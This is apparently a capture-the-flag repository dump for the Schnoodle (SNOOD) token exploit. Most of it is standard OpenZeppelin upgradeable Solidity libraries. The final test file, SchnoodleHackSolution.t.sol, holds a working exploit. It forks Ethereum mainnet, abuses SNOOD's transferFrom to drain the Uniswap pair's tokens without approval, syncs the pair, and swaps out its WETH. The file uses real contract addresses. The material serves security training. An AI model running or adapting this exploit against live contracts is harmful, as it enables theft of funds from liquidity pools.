registry]. 13 | * 14 | * See {IERC1820Registry} and {ERC1820Implementer}. 15 | */ 16 | interface IERC777SenderUpgradeable { 17 | /** 18 | * @dev Called by an {IERC777} token contract whenever a registered holder's 19 | * (`from`) tokens are about to be moved or destroyed. The type of operation 20 | * is conveyed by `to` being the zero address or not. 21 | * 22 | * This call occurs _before_ the token contract's state is updated, so 23 | * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. 24 | * 25 | * This function may revert to prevent the operation from being executed. 26 | */ 27 | function tokensToSend( 28 | address operator, 29 | address from, 30 | address to, 31 | uint256 amount, 32 | bytes calldata userData, 33 | bytes calldata operatorData 34 | ) external; 35 | } -------------------------------------------------------------------------------- /src/token/ERC777/IERC777Upgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC777/IERC777.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC777Token standard as defined in the EIP. 8 | * 9 | * This contract uses the 10 | * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let 11 | * token holders and recipients react to token movements by using setting implementers 12 | * for the associated interfaces in said registry. See {IERC1820Registry} and 13 | * {ERC1820Implementer}. 14 | */ 15 | interface IERC777Upgradeable { 16 | /** 17 | * @dev Emitted when `amount` tokens are created by `operator` and assigned to `to`. 18 | * 19 | * Note that some additional user `data` and `operatorData` can be logged in the event. 20 | */ 21 | event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); 22 | 23 | /** 24 | * @dev Emitted when `operator` destroys `amount` tokens from `account`. 25 | * 26 | * Note that some additional user `data` and `operatorData` can be logged in the event. 27 | */ 28 | event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); 29 | 30 | /** 31 | * @dev Emitted when `operator` is made operator for `tokenHolder` 32 | */ 33 | event AuthorizedOperator(address indexed operator, address indexed tokenHolder); 34 | 35 | /** 36 | * @dev Emitted when `operator` is revoked its operator status for `tokenHolder` 37 | */ 38 | event RevokedOperator(address indexed operator, address indexed tokenHolder); 39 | 40 | /** 41 | * @dev Returns the name of the token. 42 | */ 43 | function name() external view returns (string memory); 44 | 45 | /** 46 | * @dev Returns the symbol of the token, usually a shorter version of the 47 | * name. 48 | */ 49 | function symbol() external view returns (string memory); 50 | 51 | /** 52 | * @dev Returns the smallest part of the token that is not divisible. This 53 | * means all token operations (creation, movement and destruction) must have 54 | * amounts that are a multiple of this number. 55 | * 56 | * For most token contracts, this value will equal 1. 57 | */ 58 | function granularity() external view returns (uint256); 59 | 60 | /** 61 | * @dev Returns the amount of tokens in existence. 62 | */ 63 | function totalSupply() external view returns (uint256); 64 | 65 | /** 66 | * @dev Returns the amount of tokens owned by an account (`owner`). 67 | */ 68 | function balanceOf(address owner) external view returns (uint256); 69 | 70 | /** 71 | * @dev Moves `amount` tokens from the caller's account to `recipient`. 72 | * 73 | * If send or receive hooks are registered for the caller and `recipient`, 74 | * the corresponding functions will be called with `data` and empty 75 | * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. 76 | * 77 | * Emits a {Sent} event. 78 | * 79 | * Requirements 80 | * 81 | * - the caller must have at least `amount` tokens. 82 | * - `recipient` cannot be the zero address. 83 | * - if `recipient` is a contract, it must implement the {IERC777Recipient} 84 | * interface. 85 | */ 86 | function send( 87 | address recipient, 88 | uint256 amount, 89 | bytes calldata data 90 | ) external; 91 | 92 | /** 93 | * @dev Destroys `amount` tokens from the caller's account, reducing the 94 | * total supply. 95 | * 96 | * If a send hook is registered for the caller, the corresponding function 97 | * will be called with `data` and empty `operatorData`. See {IERC777Sender}. 98 | * 99 | * Emits a {Burned} event. 100 | * 101 | * Requirements 102 | * 103 | * - the caller must have at least `amount` tokens. 104 | */ 105 | function burn(uint256 amount, bytes calldata data) external; 106 | 107 | /** 108 | * @dev Returns true if an account is an operator of `tokenHolder`. 109 | * Operators can send and burn tokens on behalf of their owners. All 110 | * accounts are their own operator. 111 | * 112 | * See {operatorSend} and {operatorBurn}. 113 | */ 114 | function isOperatorFor(address operator, address tokenHolder) external view returns (bool); 115 | 116 | /** 117 | * @dev Make an account an operator of the caller. 118 | * 119 | * See {isOperatorFor}. 120 | * 121 | * Emits an {AuthorizedOperator} event. 122 | * 123 | * Requirements 124 | * 125 | * - `operator` cannot be calling address. 126 | */ 127 | function authorizeOperator(address operator) external; 128 | 129 | /** 130 | * @dev Revoke an account's operator status for the caller. 131 | * 132 | * See {isOperatorFor} and {defaultOperators}. 133 | * 134 | * Emits a {RevokedOperator} event. 135 | * 136 | * Requirements 137 | * 138 | * - `operator` cannot be calling address. 139 | */ 140 | function revokeOperator(address operator) external; 141 | 142 | /** 143 | * @dev Returns the list of default operators. These accounts are operators 144 | * for all token holders, even if {authorizeOperator} was never called on 145 | * them. 146 | * 147 | * This list is immutable, but individual holders may revoke these via 148 | * {revokeOperator}, in which case {isOperatorFor} will return false. 149 | */ 150 | function defaultOperators() external view returns (address[] memory); 151 | 152 | /** 153 | * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must 154 | * be an operator of `sender`. 155 | * 156 | * If send or receive hooks are registered for `sender` and `recipient`, 157 | * the corresponding functions will be called with `data` and 158 | * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. 159 | * 160 | * Emits a {Sent} event. 161 | * 162 | * Requirements 163 | * 164 | * - `sender` cannot be the zero address. 165 | * - `sender` must have at least `amount` tokens. 166 | * - the caller must be an operator for `sender`. 167 | * - `recipient` cannot be the zero address. 168 | * - if `recipient` is a contract, it must implement the {IERC777Recipient} 169 | * interface. 170 | */ 171 | function operatorSend( 172 | address sender, 173 | address recipient, 174 | uint256 amount, 175 | bytes calldata data, 176 | bytes calldata operatorData 177 | ) external; 178 | 179 | /** 180 | * @dev Destroys `amount` tokens from `account`, reducing the total supply. 181 | * The caller must be an operator of `account`. 182 | * 183 | * If a send hook is registered for `account`, the corresponding function 184 | * will be called with `data` and `operatorData`. See {IERC777Sender}. 185 | * 186 | * Emits a {Burned} event. 187 | * 188 | * Requirements 189 | * 190 | * - `account` cannot be the zero address. 191 | * - `account` must have at least `amount` tokens. 192 | * - the caller must be an operator for `account`. 193 | */ 194 | function operatorBurn( 195 | address account, 196 | uint256 amount, 197 | bytes calldata data, 198 | bytes calldata operatorData 199 | ) external; 200 | 201 | event Sent( 202 | address indexed operator, 203 | address indexed from, 204 | address indexed to, 205 | uint256 amount, 206 | bytes data, 207 | bytes operatorData 208 | ); 209 | } -------------------------------------------------------------------------------- /src/token/ERC777/presets/ERC777PresetFixedSupplyUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC777/presets/ERC777PresetFixedSupply.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | import "../ERC777Upgradeable.sol"; 6 | import "../../../proxy/utils/Initializable.sol"; 7 | 8 | /** 9 | * @dev {ERC777} token, including: 10 | * 11 | * - Preminted initial supply 12 | * - No access control mechanism (for minting/pausing) and hence no governance 13 | * 14 | * _Available since v3.4._ 15 | */ 16 | contract ERC777PresetFixedSupplyUpgradeable is Initializable, ERC777Upgradeable { 17 | function initialize( 18 | string memory name, 19 | string memory symbol, 20 | address[] memory defaultOperators, 21 | uint256 initialSupply, 22 | address owner 23 | ) public virtual initializer { 24 | __ERC777PresetFixedSupply_init(name, symbol, defaultOperators, initialSupply, owner); 25 | } 26 | /** 27 | * @dev Mints `initialSupply` amount of token and transfers them to `owner`. 28 | * 29 | * See {ERC777-constructor}. 30 | */ 31 | function __ERC777PresetFixedSupply_init( 32 | string memory name, 33 | string memory symbol, 34 | address[] memory defaultOperators, 35 | uint256 initialSupply, 36 | address owner 37 | ) internal onlyInitializing { 38 | __ERC777_init_unchained(name, symbol, defaultOperators); 39 | __ERC777PresetFixedSupply_init_unchained(name, symbol, defaultOperators, initialSupply, owner); 40 | } 41 | 42 | function __ERC777PresetFixedSupply_init_unchained( 43 | string memory, 44 | string memory, 45 | address[] memory, 46 | uint256 initialSupply, 47 | address owner 48 | ) internal onlyInitializing { 49 | _mint(owner, initialSupply, "", ""); 50 | } 51 | 52 | /** 53 | * @dev This empty reserved space is put in place to allow future versions to add new 54 | * variables without shifting down storage in the inheritance chain. 55 | * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps 56 | */ 57 | uint256[50] private __gap; 58 | } -------------------------------------------------------------------------------- /src/utils/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unhackedctf/schnoodle/c12524939527a5d997036403bea38eabee2f62c2/src/utils/.DS_Store -------------------------------------------------------------------------------- /src/utils/AddressUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) 3 | 4 | pragma solidity ^0.8.1; 5 | 6 | /** 7 | * @dev Collection of functions related to the address type 8 | */ 9 | library AddressUpgradeable { 10 | /** 11 | * @dev Returns true if `account` is a contract. 12 | * 13 | * [IMPORTANT] 14 | * ==== 15 | * It is unsafe to assume that an address for which this function returns 16 | * false is an externally-owned account (EOA) and not a contract. 17 | * 18 | * Among others, `isContract` will return false for the following 19 | * types of addresses: 20 | * 21 | * - an externally-owned account 22 | * - a contract in construction 23 | * - an address where a contract will be created 24 | * - an address where a contract lived, but was destroyed 25 | * ==== 26 | * 27 | * [IMPORTANT] 28 | * ==== 29 | * You shouldn't rely on `isContract` to protect against flash loan attacks! 30 | * 31 | * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets 32 | * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract 33 | * constructor. 34 | * ==== 35 | */ 36 | function isContract(address account) internal view returns (bool) { 37 | // This method relies on extcodesize/address.code.length, which returns 0 38 | // for contracts in construction, since the code is only stored at the end 39 | // of the constructor execution. 40 | 41 | return account.code.length > 0; 42 | } 43 | 44 | /** 45 | * @dev Replacement for Solidity's `transfer`: sends `amount` wei to 46 | * `recipient`, forwarding all available gas and reverting on errors. 47 | * 48 | * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost 49 | * of certain opcodes, possibly making contracts go over the 2300 gas limit 50 | * imposed by `transfer`, making them unable to receive funds via 51 | * `transfer`. {sendValue} removes this limitation. 52 | * 53 | * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. 54 | * 55 | * IMPORTANT: because control is transferred to `recipient`, care must be 56 | * taken to not create reentrancy vulnerabilities. Consider using 57 | * {ReentrancyGuard} or the 58 | * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. 59 | */ 60 | function sendValue(address payable recipient, uint256 amount) internal { 61 | require(address(this).balance >= amount, "Address: insufficient balance"); 62 | 63 | (bool success, ) = recipient.call{value: amount}(""); 64 | require(success, "Address: unable to send value, recipient may have reverted"); 65 | } 66 | 67 | /** 68 | * @dev Performs a Solidity function call using a low level `call`. A 69 | * plain `call` is an unsafe replacement for a function call: use this 70 | * function instead. 71 | * 72 | * If `target` reverts with a revert reason, it is bubbled up by this 73 | * function (like regular Solidity function calls). 74 | * 75 | * Returns the raw returned data. To convert to the expected return value, 76 | * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. 77 | * 78 | * Requirements: 79 | * 80 | * - `target` must be a contract. 81 | * - calling `target` with `data` must not revert. 82 | * 83 | * _Available since v3.1._ 84 | */ 85 | function functionCall(address target, bytes memory data) internal returns (bytes memory) { 86 | return functionCall(target, data, "Address: low-level call failed"); 87 | } 88 | 89 | /** 90 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with 91 | * `errorMessage` as a fallback revert reason when `target` reverts. 92 | * 93 | * _Available since v3.1._ 94 | */ 95 | function functionCall( 96 | address target, 97 | bytes memory data, 98 | string memory errorMessage 99 | ) internal returns (bytes memory) { 100 | return functionCallWithValue(target, data, 0, errorMessage); 101 | } 102 | 103 | /** 104 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], 105 | * but also transferring `value` wei to `target`. 106 | * 107 | * Requirements: 108 | * 109 | * - the calling contract must have an ETH balance of at least `value`. 110 | * - the called Solidity function must be `payable`. 111 | * 112 | * _Available since v3.1._ 113 | */ 114 | function functionCallWithValue( 115 | address target, 116 | bytes memory data, 117 | uint256 value 118 | ) internal returns (bytes memory) { 119 | return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); 120 | } 121 | 122 | /** 123 | * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but 124 | * with `errorMessage` as a fallback revert reason when `target` reverts. 125 | * 126 | * _Available since v3.1._ 127 | */ 128 | function functionCallWithValue( 129 | address target, 130 | bytes memory data, 131 | uint256 value, 132 | string memory errorMessage 133 | ) internal returns (bytes memory) { 134 | require(address(this).balance >= value, "Address: insufficient balance for call"); 135 | require(isContract(target), "Address: call to non-contract"); 136 | 137 | (bool success, bytes memory returndata) = target.call{value: value}(data); 138 | return verifyCallResult(success, returndata, errorMessage); 139 | } 140 | 141 | /** 142 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], 143 | * but performing a static call. 144 | * 145 | * _Available since v3.3._ 146 | */ 147 | function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { 148 | return functionStaticCall(target, data, "Address: low-level static call failed"); 149 | } 150 | 151 | /** 152 | * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], 153 | * but performing a static call. 154 | * 155 | * _Available since v3.3._ 156 | */ 157 | function functionStaticCall( 158 | address target, 159 | bytes memory data, 160 | string memory errorMessage 161 | ) internal view returns (bytes memory) { 162 | require(isContract(target), "Address: static call to non-contract"); 163 | 164 | (bool success, bytes memory returndata) = target.staticcall(data); 165 | return verifyCallResult(success, returndata, errorMessage); 166 | } 167 | 168 | /** 169 | * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the 170 | * revert reason using the provided one. 171 | * 172 | * _Available since v4.3._ 173 | */ 174 | function verifyCallResult( 175 | bool success, 176 | bytes memory returndata, 177 | string memory errorMessage 178 | ) internal pure returns (bytes memory) { 179 | if (success) { 180 | return returndata; 181 | } else { 182 | // Look for revert reason and bubble it up if present 183 | if (returndata.length > 0) { 184 | // The easiest way to bubble the revert reason is using memory via assembly 185 | 186 | assembly { 187 | let returndata_size := mload(returndata) 188 | revert(add(32, returndata), returndata_size) 189 | } 190 | } else { 191 | revert(errorMessage); 192 | } 193 | } 194 | } 195 | } -------------------------------------------------------------------------------- /src/utils/ContextUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | import "../proxy/utils/Initializable.sol"; 6 | 7 | /** 8 | * @dev Provides information about the current execution context, including the 9 | * sender of the transaction and its data. While these are generally available 10 | * via msg.sender and msg.data, they should not be accessed in such a direct 11 | * manner, since when dealing with meta-transactions the account sending and 12 | * paying for execution may not be the actual sender (as far as an application 13 | * is concerned). 14 | * 15 | * This contract is only required for intermediate, library-like contracts. 16 | */ 17 | abstract contract ContextUpgradeable is Initializable { 18 | function __Context_init() internal onlyInitializing { 19 | } 20 | 21 | function __Context_init_unchained() internal onlyInitializing { 22 | } 23 | function _msgSender() internal view virtual returns (address) { 24 | return msg.sender; 25 | } 26 | 27 | function _msgData() internal view virtual returns (bytes calldata) { 28 | return msg.data; 29 | } 30 | 31 | /** 32 | * @dev This empty reserved space is put in place to allow future versions to add new 33 | * variables without shifting down storage in the inheritance chain. 34 | * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps 35 | */ 36 | uint256[50] private __gap; 37 | } 38 | -------------------------------------------------------------------------------- /src/utils/StringsUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev String operations. 8 | */ 9 | library StringsUpgradeable { 10 | bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; 11 | 12 | /** 13 | * @dev Converts a `uint256` to its ASCII `string` decimal representation. 14 | */ 15 | function toString(uint256 value) internal pure returns (string memory) { 16 | // Inspired by OraclizeAPI's implementation - MIT licence 17 | // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol 18 | 19 | if (value == 0) { 20 | return "0"; 21 | } 22 | uint256 temp = value; 23 | uint256 digits; 24 | while (temp != 0) { 25 | digits++; 26 | temp /= 10; 27 | } 28 | bytes memory buffer = new bytes(digits); 29 | while (value != 0) { 30 | digits -= 1; 31 | buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); 32 | value /= 10; 33 | } 34 | return string(buffer); 35 | } 36 | 37 | /** 38 | * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. 39 | */ 40 | function toHexString(uint256 value) internal pure returns (string memory) { 41 | if (value == 0) { 42 | return "0x00"; 43 | } 44 | uint256 temp = value; 45 | uint256 length = 0; 46 | while (temp != 0) { 47 | length++; 48 | temp >>= 8; 49 | } 50 | return toHexString(value, length); 51 | } 52 | 53 | /** 54 | * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. 55 | */ 56 | function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { 57 | bytes memory buffer = new bytes(2 * length + 2); 58 | buffer[0] = "0"; 59 | buffer[1] = "x"; 60 | for (uint256 i = 2 * length + 1; i > 1; --i) { 61 | buffer[i] = _HEX_SYMBOLS[value & 0xf]; 62 | value >>= 4; 63 | } 64 | require(value == 0, "Strings: hex length insufficient"); 65 | return string(buffer); 66 | } 67 | } -------------------------------------------------------------------------------- /src/utils/introspection/ERC165Upgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IERC165Upgradeable.sol"; 7 | import "../../proxy/utils/Initializable.sol"; 8 | 9 | /** 10 | * @dev Implementation of the {IERC165} interface. 11 | * 12 | * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check 13 | * for the additional interface id that will be supported. For example: 14 | * 15 | * ```solidity 16 | * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 17 | * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); 18 | * } 19 | * ``` 20 | * 21 | * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. 22 | */ 23 | abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { 24 | function __ERC165_init() internal onlyInitializing { 25 | } 26 | 27 | function __ERC165_init_unchained() internal onlyInitializing { 28 | } 29 | /** 30 | * @dev See {IERC165-supportsInterface}. 31 | */ 32 | function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 33 | return interfaceId == type(IERC165Upgradeable).interfaceId; 34 | } 35 | 36 | /** 37 | * @dev This empty reserved space is put in place to allow future versions to add new 38 | * variables without shifting down storage in the inheritance chain. 39 | * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps 40 | */ 41 | uint256[50] private __gap; 42 | } 43 | -------------------------------------------------------------------------------- /src/utils/introspection/IERC165Upgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC165 standard, as defined in the 8 | * https://eips.ethereum.org/EIPS/eip-165[EIP]. 9 | * 10 | * Implementers can declare support of contract interfaces, which can then be 11 | * queried by others ({ERC165Checker}). 12 | * 13 | * For an implementation, see {ERC165}. 14 | */ 15 | interface IERC165Upgradeable { 16 | /** 17 | * @dev Returns true if this contract implements the interface defined by 18 | * `interfaceId`. See the corresponding 19 | * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] 20 | * to learn more about how these ids are created. 21 | * 22 | * This function call must use less than 30 000 gas. 23 | */ 24 | function supportsInterface(bytes4 interfaceId) external view returns (bool); 25 | } -------------------------------------------------------------------------------- /src/utils/introspection/IERC1820RegistryUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (utils/introspection/IERC1820Registry.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the global ERC1820 Registry, as defined in the 8 | * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register 9 | * implementers for interfaces in this registry, as well as query support. 10 | * 11 | * Implementers may be shared by multiple accounts, and can also implement more 12 | * than a single interface for each account. Contracts can implement interfaces 13 | * for themselves, but externally-owned accounts (EOA) must delegate this to a 14 | * contract. 15 | * 16 | * {IERC165} interfaces can also be queried via the registry. 17 | * 18 | * For an in-depth explanation and source code analysis, see the EIP text. 19 | */ 20 | interface IERC1820RegistryUpgradeable { 21 | event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); 22 | 23 | event ManagerChanged(address indexed account, address indexed newManager); 24 | 25 | /** 26 | * @dev Sets `newManager` as the manager for `account`. A manager of an 27 | * account is able to set interface implementers for it. 28 | * 29 | * By default, each account is its own manager. Passing a value of `0x0` in 30 | * `newManager` will reset the manager to this initial state. 31 | * 32 | * Emits a {ManagerChanged} event. 33 | * 34 | * Requirements: 35 | * 36 | * - the caller must be the current manager for `account`. 37 | */ 38 | function setManager(address account, address newManager) external; 39 | 40 | /** 41 | * @dev Returns the manager for `account`. 42 | * 43 | * See {setManager}. 44 | */ 45 | function getManager(address account) external view returns (address); 46 | 47 | /** 48 | * @dev Sets the `implementer` contract as ``account``'s implementer for 49 | * `interfaceHash`. 50 | * 51 | * `account` being the zero address is an alias for the caller's address. 52 | * The zero address can also be used in `implementer` to remove an old one. 53 | * 54 | * See {interfaceHash} to learn how these are created. 55 | * 56 | * Emits an {InterfaceImplementerSet} event. 57 | * 58 | * Requirements: 59 | * 60 | * - the caller must be the current manager for `account`. 61 | * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not 62 | * end in 28 zeroes). 63 | * - `implementer` must implement {IERC1820Implementer} and return true when 64 | * queried for support, unless `implementer` is the caller. See 65 | * {IERC1820Implementer-canImplementInterfaceForAddress}. 66 | */ 67 | function setInterfaceImplementer( 68 | address account, 69 | bytes32 _interfaceHash, 70 | address implementer 71 | ) external; 72 | 73 | /** 74 | * @dev Returns the implementer of `interfaceHash` for `account`. If no such 75 | * implementer is registered, returns the zero address. 76 | * 77 | * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 78 | * zeroes), `account` will be queried for support of it. 79 | * 80 | * `account` being the zero address is an alias for the caller's address. 81 | */ 82 | function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); 83 | 84 | /** 85 | * @dev Returns the interface hash for an `interfaceName`, as defined in the 86 | * corresponding 87 | * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. 88 | */ 89 | function interfaceHash(string calldata interfaceName) external pure returns (bytes32); 90 | 91 | /** 92 | * @notice Updates the cache with whether the contract implements an ERC165 interface or not. 93 | * @param account Address of the contract for which to update the cache. 94 | * @param interfaceId ERC165 interface for which to update the cache. 95 | */ 96 | function updateERC165Cache(address account, bytes4 interfaceId) external; 97 | 98 | /** 99 | * @notice Checks whether a contract implements an ERC165 interface or not. 100 | * If the result is not cached a direct lookup on the contract address is performed. 101 | * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling 102 | * {updateERC165Cache} with the contract address. 103 | * @param account Address of the contract to check. 104 | * @param interfaceId ERC165 interface to check. 105 | * @return True if `account` implements `interfaceId`, false otherwise. 106 | */ 107 | function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); 108 | 109 | /** 110 | * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. 111 | * @param account Address of the contract to check. 112 | * @param interfaceId ERC165 interface to check. 113 | * @return True if `account` implements `interfaceId`, false otherwise. 114 | */ 115 | function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); 116 | } 117 | -------------------------------------------------------------------------------- /src/utils/math/MathUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Standard math utilities missing in the Solidity language. 8 | */ 9 | library MathUpgradeable { 10 | /** 11 | * @dev Returns the largest of two numbers. 12 | */ 13 | function max(uint256 a, uint256 b) internal pure returns (uint256) { 14 | return a >= b ? a : b; 15 | } 16 | 17 | /** 18 | * @dev Returns the smallest of two numbers. 19 | */ 20 | function min(uint256 a, uint256 b) internal pure returns (uint256) { 21 | return a < b ? a : b; 22 | } 23 | 24 | /** 25 | * @dev Returns the average of two numbers. The result is rounded towards 26 | * zero. 27 | */ 28 | function average(uint256 a, uint256 b) internal pure returns (uint256) { 29 | // (a + b) / 2 can overflow. 30 | return (a & b) + (a ^ b) / 2; 31 | } 32 | 33 | /** 34 | * @dev Returns the ceiling of the division of two numbers. 35 | * 36 | * This differs from standard division with `/` in that it rounds up instead 37 | * of rounding down. 38 | */ 39 | function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { 40 | // (a + b - 1) / b can overflow on addition, so we distribute. 41 | return a / b + (a % b == 0 ? 0 : 1); 42 | } 43 | } -------------------------------------------------------------------------------- /test/SchnoodleHack.t.sol: -------------------------------------------------------------------------------- 1 | // // SPDX-License-Identifier: UNLICENSED 2 | // pragma solidity ^0.8.0; 3 | 4 | // import "forge-std/Test.sol"; 5 | // import "../src/SchnoodleV9.sol"; 6 | // import "../src/interfaces/IUniswapV2Pair.sol"; 7 | // import "../src/interfaces/IWETH9.sol"; 8 | 9 | // contract SchnoodleHack is Test { 10 | // SchnoodleV9 snood = SchnoodleV9(0xD45740aB9ec920bEdBD9BAb2E863519E59731941); 11 | // IUniswapV2Pair uniswap = IUniswapV2Pair(0x0F6b0960d2569f505126341085ED7f0342b67DAe); 12 | // IWETH9 weth = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 13 | 14 | // function testSchnoodleHack() public { 15 | // vm.createSelectFork(vm.envString("ETH_RPC_URL"), 14983600); 16 | // console.log("Your Starting WETH Balance:", weth.balanceOf(address(this))); 17 | 18 | // // INSERT EXPLOIT HERE 19 | 20 | // console.log("Your Final WETH Balance:", weth.balanceOf(address(this))); 21 | // assert(weth.balanceOf(address(this)) > 100 ether); 22 | // } 23 | // } 24 | -------------------------------------------------------------------------------- /test/SchnoodleHackSolution.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/SchnoodleV9.sol"; 6 | import "../src/interfaces/IUniswapV2Pair.sol"; 7 | import "../src/interfaces/IWETH9.sol"; 8 | 9 | contract SnoodHack is Test { 10 | SchnoodleV9 snood = SchnoodleV9(0xD45740aB9ec920bEdBD9BAb2E863519E59731941); 11 | IUniswapV2Pair uniswap = IUniswapV2Pair(0x0F6b0960d2569f505126341085ED7f0342b67DAe); 12 | IWETH9 weth = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 13 | 14 | function testSchnoodleHack() public { 15 | vm.createSelectFork(vm.envString("ETH_RPC_URL"), 14983600); 16 | console.log("Your Starting WETH Balance:", weth.balanceOf(address(this))); 17 | 18 | uint uniswapSnoodBal = snood.balanceOf(address(uniswap)); 19 | snood.transferFrom(address(uniswap), address(this), uniswapSnoodBal - 1); 20 | 21 | uniswap.sync(); 22 | 23 | uint uniswapEthBal = weth.balanceOf(address(uniswap)); 24 | snood.transfer(address(uniswap), uniswapSnoodBal - 1); 25 | uniswap.swap(uniswapEthBal - 1, 0, address(this), bytes('')); 26 | 27 | console.log("Your Final WETH Balance:", weth.balanceOf(address(this))); 28 | assert(weth.balanceOf(address(this)) > 100 ether); 29 | } 30 | } 31 | --------------------------------------------------------------------------------